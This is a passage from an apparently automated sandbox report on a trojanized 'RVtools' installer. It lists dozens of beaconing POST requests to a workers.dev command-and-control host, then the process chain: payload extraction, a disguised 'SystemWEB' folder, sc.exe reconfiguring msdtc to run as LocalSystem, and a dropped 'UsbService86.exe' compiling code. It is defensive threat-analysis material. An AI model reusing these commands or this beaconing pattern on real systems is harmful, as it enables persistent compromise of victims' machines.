47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//OjvNxIo1UiLuL/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //OjvNxIo1UiLuL/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ladysmY6arX1KyL/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ladysmY6arX1KyL/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Cqq8Nc/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Cqq8Nc/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//7AeUZN/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //7AeUZN/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//bdnt2/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //bdnt2/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//OcEZwAAToQ8lwE/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //OcEZwAAToQ8lwE/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//rfPp5Q/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //rfPp5Q/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//CLlCxtWnjve/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //CLlCxtWnjve/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gKC8Zh/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gKC8Zh/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//iqnEPERbOzrz/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //iqnEPERbOzrz/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//AQevDUaXL/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //AQevDUaXL/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//t/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //t/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Cclt43zEXLM0SW/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Cclt43zEXLM0SW/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Rtd5hD7vzE/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Rtd5hD7vzE/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//rDTmJLb/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //rDTmJLb/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//rkgOkx/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //rkgOkx/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Lxfv7zmlIQ5/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Lxfv7zmlIQ5/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//6AzVqbh8i/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //6AzVqbh8i/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//85kalK/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //85kalK/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ug1UMJ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ug1UMJ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Wm/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Wm/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ZPRxxWbsC/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ZPRxxWbsC/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//pMdE4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //pMdE4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//RQg2Tyafbied/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //RQg2Tyafbied/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//8aKzzr/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //8aKzzr/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//0Po3EcQePxsS/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //0Po3EcQePxsS/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Wr/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Wr/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//eIZfwW2/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //eIZfwW2/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//MLj/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //MLj/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//AAJ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //AAJ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//isv7IiOu/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //isv7IiOu/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//m/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //m/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//tivp6/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //tivp6/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//B/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //B/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//fKNHYfESNNsAINr/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //fKNHYfESNNsAINr/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//u8w7cW0RV7/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //u8w7cW0RV7/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//xLEGgUjo5/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //xLEGgUjo5/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//J/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //J/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//5vk/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //5vk/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//y/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //y/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//LbE2OFBpJ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //LbE2OFBpJ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//x3ieE7sL15/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //x3ieE7sL15/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//mJAKBB0/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //mJAKBB0/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//NZUmG4AHKb27/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //NZUmG4AHKb27/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//GMUbU/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //GMUbU/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//p/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //p/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gGfPj8/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gGfPj8/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gnBiU/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gnBiU/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//VkhRBkH/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //VkhRBkH/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//OQV/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //OQV/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//RmGjGRESvphxk6H/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //RmGjGRESvphxk6H/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//vdBw0ix/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //vdBw0ix/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//uynw/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //uynw/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//PJ4h/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //PJ4h/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ePy/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ePy/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//GTCwuVJ46i/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //GTCwuVJ46i/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//HrZHbVPgv1xEZq/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //HrZHbVPgv1xEZq/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//G/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //G/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//zJTh261/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //zJTh261/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}],"processes":[{"pid":5572,"ppid":0,"name":"msiexec.exe","command_line":"/i \"C:\\RVtools-4.7.0.2.msi\"","sha256":"5a31ea6a517a065166fafa01a0ac6a350d0e2dcba1b6dd4fdb41ae59109568e1","normalized_path":"%WINDIR%\\System32\\msiexec.exe","uid":"00000000-00005572","icon":"$69"},{"pid":2836,"ppid":0,"name":"msiexec.exe","command_line":"/V","sha256":"5a31ea6a517a065166fafa01a0ac6a350d0e2dcba1b6dd4fdb41ae59109568e1","normalized_path":"%WINDIR%\\system32\\msiexec.exe","uid":"00000000-00002836","icon":"$6a"},{"pid":8752,"ppid":2836,"name":"MsiExec.exe","command_line":"-Embedding 7CDB7F398BC9A15DCE50F1FBC4EFF031","sha256":"04de630d6f6cd8888597b55581032d01d6b6f1c26e106e7aae40ce6f2374d865","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00002836","uid":"00000000-00008752"},{"pid":7436,"ppid":2836,"name":"MsiExec.exe","command_line":"-Embedding 6715738CA6A39297D4D374FA8F2A2F8F E Global\\MSI0000","sha256":"04de630d6f6cd8888597b55581032d01d6b6f1c26e106e7aae40ce6f2374d865","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00002836","uid":"00000000-00007436"},{"pid":4744,"ppid":7436,"name":"ICACLS.EXE","command_line":"\"%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH","sha256":"d95f7071dd1190d66844a778a2434b8f0bb453b975cc6a8620b448b66eb73261","normalized_path":"%WINDIR%\\SysWOW64\\ICACLS.EXE","parent_uid":"00000000-00007436","uid":"00000000-00004744"},{"pid":7788,"ppid":7436,"name":"EXPAND.EXE","command_line":"-R files.cab -F:* files","sha256":"db26a164dfe78aa2e77c249e5384859256f792ff8d0cf6fcb199048efa3d3afb","normalized_path":"%WINDIR%\\SysWOW64\\EXPAND.EXE","parent_uid":"00000000-00007436","uid":"00000000-00007788"},{"pid":4460,"ppid":7436,"name":"start.exe","command_line":"RVtools-4.7.0.2.exe","sha256":"3685368e63a3c892e425eea24a48bc6abf5ff84418bd2f42f35119f87b4d838f","normalized_path":"%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\files\\start.exe","parent_uid":"00000000-00007436","uid":"00000000-00004460"},{"pid":1196,"ppid":4460,"name":"RVtools-4.7.0.2.exe","command_line":"","sha256":"d2c57c58e358b1707e6f39bbfe72532e9cc4a169345bb35bba8b9d927cb6fd6d","normalized_path":"%TEMP%\\MW-56ca7b88-5615-4a86-a71e-12b7ada81ee2\\files\\RVtools-4.7.0.2.exe","parent_uid":"00000000-00004460","uid":"00000000-00001196"},{"pid":3268,"ppid":1196,"name":"msiexec.exe","command_line":"/i \"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\rvtools.msi\"","sha256":"04de630d6f6cd8888597b55581032d01d6b6f1c26e106e7aae40ce6f2374d865","normalized_path":"%WINDIR%\\SysWOW64\\msiexec.exe","parent_uid":"00000000-00001196","uid":"00000000-00003268"},{"pid":8164,"ppid":1196,"name":"sc.exe","command_line":"sc config msdtc start= demand","sha256":"3ce81fa5051c945f70953a70d71be30708d7831b97a5c95070bf9972d6e9fce2","normalized_path":"%WINDIR%\\SysWOW64\\sc.exe","parent_uid":"00000000-00001196","uid":"00000000-00008164"},{"pid":7268,"ppid":1196,"name":"sc.exe","command_line":"sc config msdtc obj= \"LocalSystem\"","sha256":"3ce81fa5051c945f70953a70d71be30708d7831b97a5c95070bf9972d6e9fce2","normalized_path":"%WINDIR%\\SysWOW64\\sc.exe","parent_uid":"00000000-00001196","uid":"00000000-00007268"},{"pid":7744,"ppid":1196,"name":"UsbService86.exe","command_line":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\LICENSE1.txt","sha256":"3373ac4a982e454a865fe13735bbc89a5c8279764051b6d4359211533b92bd2f","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\UsbService86.exe","parent_uid":"00000000-00001196","uid":"00000000-00007744"},{"pid":2832,"ppid":7744,"name":"csc.exe","command_line":"/noconfig /fullpaths @\"%TEMP%\\5aat0yyl\\5aat0yyl.cmdline\"","sha256":"a725546bde53f1ad533e74abb01dd5ed5f07b171f5c284738da88f6ce478cf5f","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00007744","uid":"00000000-00002832"},{"pid":4036,"ppid":2832,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RES9F0C.tmp\" 